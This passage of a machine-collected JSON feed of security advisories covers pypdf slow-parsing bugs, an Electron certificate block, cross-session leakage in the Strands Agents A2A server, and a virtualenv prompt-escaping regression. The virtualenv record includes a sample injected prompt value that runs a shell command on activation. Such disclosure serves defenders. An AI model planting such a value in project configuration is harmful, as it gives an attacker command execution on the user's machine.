GHSA-gx7p-2j49-hfq4","url":"https://github.com/advisories/GHSA-gx7p-2j49-hfq4","type":"primary","publishedAt":"2026-10-23T20:58:36.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-gx7p-2j49-hfq4, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114055","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114055","type":"primary","publishedAt":"2026-10-21T01:17:28.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114055&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114055, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115572","cveId":"CVE-2026-115572","aliases":["GHSA-6c7f-9265-g8fw"],"kind":"vulnerability","title":"pypdf: Possible long runtimes for repeated references to the same missing object","summary":"An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires loading relevant parts of a file (like their pages) where the same, but non-existent indirect object is referenced multiple times.\n\nThis has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires loading relevant parts of a file (like their pages) where the same, but non-existent indirect object is referenced multiple times.\n\n### Patches\n\nThis has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4240](https://github.com/py-pdf/pypdf/pull/4240).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.21.2","action":"GitHub lists first patched versions: pypdf: 6.21.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:55:15.000Z","updatedAt":"2026-10-26T14:05:16.760Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115572","asOf":"2026-10-26T14:05:16.760Z"},"epss":{"probability":0.00375,"percentile":0.312,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-6c7f-9265-g8fw","url":"https://github.com/advisories/GHSA-6c7f-9265-g8fw","type":"primary","publishedAt":"2026-10-23T20:55:15.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-6c7f-9265-g8fw, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115572","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115572","type":"primary","publishedAt":"2026-10-23T20:17:20.940Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115585","cveId":"CVE-2026-115585","aliases":["GHSA-jr96-gvgh-j3r4"],"kind":"vulnerability","title":"pypdf: Possible long runtimes for repeated malformed cross-reference entries (Follow-up)","summary":"An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with repeated malformed cross-reference streams.\n\nThis has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with repeated malformed cross-reference streams.\n\n### Patches\n\nThis has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4240](https://github.com/py-pdf/pypdf/pull/4240).\n\n### Notes\n\nThis is a follow-up to https://github.com/py-pdf/pypdf/security/advisories/GHSA-55h5-xmcq-c37v, which had the side-effect of still loading the whole stream again despite the cache being present.\n\nAffected package ranges reported by GitHub:\npypdf: < 6.21.2","action":"GitHub lists first patched versions: pypdf: 6.21.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:54:27.000Z","updatedAt":"2026-10-26T14:05:16.760Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115585","asOf":"2026-10-26T14:05:16.760Z"},"epss":{"probability":0.0041,"percentile":0.34945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115585&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jr96-gvgh-j3r4","url":"https://github.com/advisories/GHSA-jr96-gvgh-j3r4","type":"primary","publishedAt":"2026-10-23T20:54:27.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jr96-gvgh-j3r4, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115585","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115585","type":"primary","publishedAt":"2026-10-23T20:17:21.230Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115585&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115585, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115580","cveId":"CVE-2026-115580","aliases":["GHSA-gmh7-3g9r-mjh5"],"kind":"vulnerability","title":"pypdf: Possible long runtimes for large xref table header limits","summary":"An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires opening a file with large/wrong upper limits in the xref table.\n\nThis has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires opening a file with large/wrong upper limits in the xref table.\n\n### Patches\n\nThis has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4239](https://github.com/py-pdf/pypdf/pull/4239).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.21.2","action":"GitHub lists first patched versions: pypdf: 6.21.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:54:12.000Z","updatedAt":"2026-10-26T14:05:16.760Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115580","asOf":"2026-10-26T14:05:16.760Z"},"epss":{"probability":0.0041,"percentile":0.34945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115580&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-gmh7-3g9r-mjh5","url":"https://github.com/advisories/GHSA-gmh7-3g9r-mjh5","type":"primary","publishedAt":"2026-10-23T20:54:12.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-gmh7-3g9r-mjh5, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115580","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115580","type":"primary","publishedAt":"2026-10-23T20:17:21.087Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115580&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115580, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115570","cveId":"CVE-2026-115570","aliases":["GHSA-jr5w-w6x2-84p9"],"kind":"vulnerability","title":"Electron: Mitigation for compromised eMudhra intermediate certificates","summary":"A set of eMudhra intermediate certificates were compromised and are being blocked by browsers and other TLS clients. This Electron update adds the same block to both Chromium networking and Node.js `tls`, `https` and `fetch`. On earlier versions, an attacker holding a certificate issued through these intermediates and able to intercept network traffic could impersonate a TLS server to an app.\n\nApps are only affected if they make TLS connections over a network an attacker can intercept. Apps that make no network connections are not affected.","detail":"### Impact\n\nA set of eMudhra intermediate certificates were compromised and are being blocked by browsers and other TLS clients. This Electron update adds the same block to both Chromium networking and Node.js `tls`, `https` and `fetch`. On earlier versions, an attacker holding a certificate issued through these intermediates and able to intercept network traffic could impersonate a TLS server to an app.\n\nApps are only affected if they make TLS connections over a network an attacker can intercept. Apps that make no network connections are not affected.\n\nOther software has shipped the same mitigation, including Go (CVE-2026-111943) and Firefox (CVE-2026-113470).\n\n### Workarounds\n\nThere are no app side workarounds, you must update to a patched version of Electron.\n\n### Fixed Versions\n\n* `45.0.0-beta.6`\n* `44.9.1`\n* `43.8.1`\n* `42.11.16`\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)\n\nAffected package ranges reported by GitHub:\nelectron: >= 45.0.0-alpha.1, < 45.0.0-beta.6\nelectron: >= 44.0.0-alpha.1, < 44.9.1\nelectron: >= 43.0.0-alpha.1, < 43.8.1\nelectron: < 42.11.16","action":"GitHub lists first patched versions: electron: 45.0.0-beta.6; electron: 44.9.1; electron: 43.8.1; electron: 42.11.16. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:53:41.000Z","updatedAt":"2026-10-23T21:17:22.657Z","regions":["Global"],"vendor":null,"product":"electron, electron, electron, electron","stacks":["Electron","JavaScript packages (npm)","electron","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115570","asOf":"2026-10-23T21:17:22.657Z"},"epss":{"probability":0.00377,"percentile":0.31426,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115570&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jr5w-w6x2-84p9","url":"https://github.com/advisories/GHSA-jr5w-w6x2-84p9","type":"primary","publishedAt":"2026-10-23T20:53:41.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jr5w-w6x2-84p9, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115570","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115570","type":"primary","publishedAt":"2026-10-23T19:17:44.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115570&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115570, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115419","cveId":"CVE-2026-115419","aliases":["GHSA-4v6f-7vjh-6x4m"],"kind":"vulnerability","title":"Strands Agents SDK: Exposure of data element to wrong session in the A2A Server","summary":"**Summary** \nStrands Agents SDK is an open-source SDK, available for Python (strands-agents) and TypeScript (@strands-agents/sdk), for building and running AI agents. An issue exists where, under certain circumstances, the Agent2Agent (A2A) server shares conversation history across callers with different context\\_id values, allowing one caller to read and influence another caller's session. \n \n**Impact** \nThe A2A server did not properly isolate conversation state between callers. In multi-tenant deployments, an authenticated remote user could access another caller's conversation history or influence model behavior for other callers (CWE-488: Unintended Disclosure of Data Element to Wrong Session). This affects any deployment where an A2A server is reachable by more than one user or tenant. \n \n**Impacted versions:** \nstrands-agents (Python): all versions containing the multiagent.a2a module, < 1.43.0 \n@strands-agents/sdk (TypeScript): < 1.5.0 \n \n**Patches** \nThis issue has been addressed in strands-agents version 1.43.0 and @strands-agents/sdk version 1.5.0. The A2A server now uses an agent factory so conversation state is isolated per A2A context\\_id. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes. \n \n**Workarounds** \nThere is no workaround that fully addresses this issue in affected versions. Until you upgrade, do not expose an A2A server to more than one user or tenant. If multiple callers need access, run a separate A2A server instance for each user or tenant. \n \n**References** \nIf you have any questions or comments about this advisory, we ask that you contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.","detail":"**Summary** \nStrands Agents SDK is an open-source SDK, available for Python (strands-agents) and TypeScript (@strands-agents/sdk), for building and running AI agents. An issue exists where, under certain circumstances, the Agent2Agent (A2A) server shares conversation history across callers with different context\\_id values, allowing one caller to read and influence another caller's session. \n \n**Impact** \nThe A2A server did not properly isolate conversation state between callers. In multi-tenant deployments, an authenticated remote user could access another caller's conversation history or influence model behavior for other callers (CWE-488: Unintended Disclosure of Data Element to Wrong Session). This affects any deployment where an A2A server is reachable by more than one user or tenant. \n \n**Impacted versions:** \nstrands-agents (Python): all versions containing the multiagent.a2a module, < 1.43.0 \n@strands-agents/sdk (TypeScript): < 1.5.0 \n \n**Patches** \nThis issue has been addressed in strands-agents version 1.43.0 and @strands-agents/sdk version 1.5.0. The A2A server now uses an agent factory so conversation state is isolated per A2A context\\_id. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes. \n \n**Workarounds** \nThere is no workaround that fully addresses this issue in affected versions. Until you upgrade, do not expose an A2A server to more than one user or tenant. If multiple callers need access, run a separate A2A server instance for each user or tenant. \n \n**References** \nIf you have any questions or comments about this advisory, we ask that you contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n\nAffected package ranges reported by GitHub:\nstrands-agents: < 1.43.0\n@strands-agents/sdk: < 1.5.0","action":"GitHub lists first patched versions: strands-agents: 1.43.0; @strands-agents/sdk: 1.5.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:48:29.000Z","updatedAt":"2026-10-23T20:48:30.000Z","regions":["Global"],"vendor":null,"product":"strands-agents, @strands-agents/sdk","stacks":["Python packages (PyPI)","JavaScript packages (npm)","strands-agents","@strands-agents/sdk","pip","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-4v6f-7vjh-6x4m","asOf":"2026-10-23T20:48:30.000Z"},"epss":{"probability":0.00426,"percentile":0.36573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115419&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4v6f-7vjh-6x4m","url":"https://github.com/advisories/GHSA-4v6f-7vjh-6x4m","type":"primary","publishedAt":"2026-10-23T20:48:29.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4v6f-7vjh-6x4m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-4v6f-7vjh-6x4m, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115419","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115419","type":"primary","publishedAt":"2026-10-22T21:17:17.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115419&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115419, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115586","cveId":"CVE-2026-115586","aliases":["GHSA-cx6f-vjhg-g3cc"],"kind":"vulnerability","title":"virtualenv: Bash activator leaves the --prompt value unescaped in PS1 when promptvars is off, so prompt expansion later executes it (regression in 21.14.9)","summary":"The bash activator puts the caller-supplied prompt value into `PS1` unescaped whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`.\n\nThis is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off.","detail":"## Summary\n\nThe bash activator puts the caller-supplied prompt value into `PS1` unescaped whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`.\n\nThis is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off.\n\n## Affected area\n\nActivation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash `bin/activate`.\n\n## Attacker-controlled input\n\nThe `--prompt` value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches `virtualenv` as `--prompt` on the command line or as the `prompt` argument of the API, is written into `bin/activate` as the literal `VIRTUAL_ENV_PROMPT` assignment (correctly quoted, the value arrives there as data), and the script then copies it into `PS1` without escaping `$` or the backtick.\n\nExample: a repository or tool config supplies a prompt such as `x$(id > /tmp/ve-pwn)y`; the victim creates and later activates the environment.\n\n## Details\n\nSource of the latest release: [`src/virtualenv/activation/bash/activate.sh` lines 140-160](https://github.com/pypa/virtualenv/blob/21.14.12/src/virtualenv/activation/bash/activate.sh#L140-L160)\n\n```sh\nif [ -z \"${VIRTUAL_ENV_DISABLE_PROMPT-}\" ] &&\n { [ -n \"${BASH_VERSION-}\" ] || [ -n \"${ZSH_VERSION-}\" ]; }; then\n _OLD_VIRTUAL_PS1=\"${PS1-}\"\n # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a\n # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and\n # backslashes need doubling. ...\n if [ -n \"${BASH_VERSION-}\" ] && { shopt -q promptvars || shopt -qo posix; }; then\n PS1='(${VIRTUAL_ENV_PROMPT-}) '\"${PS1-}\"\n else\n _VIRTUAL_PROMPT=\"${VIRTUAL_ENV_PROMPT//\\\\/\\\\\\\\}\"\n if [ -n \"${ZSH_VERSION-}\" ]; then\n _VIRTUAL_PROMPT=\"${_VIRTUAL_PROMPT//\\$/\\\\\\$}\"\n _VIRTUAL_PROMPT=\"${_VIRTUAL_PROMPT//\\`/\\\\\\`}\"\n 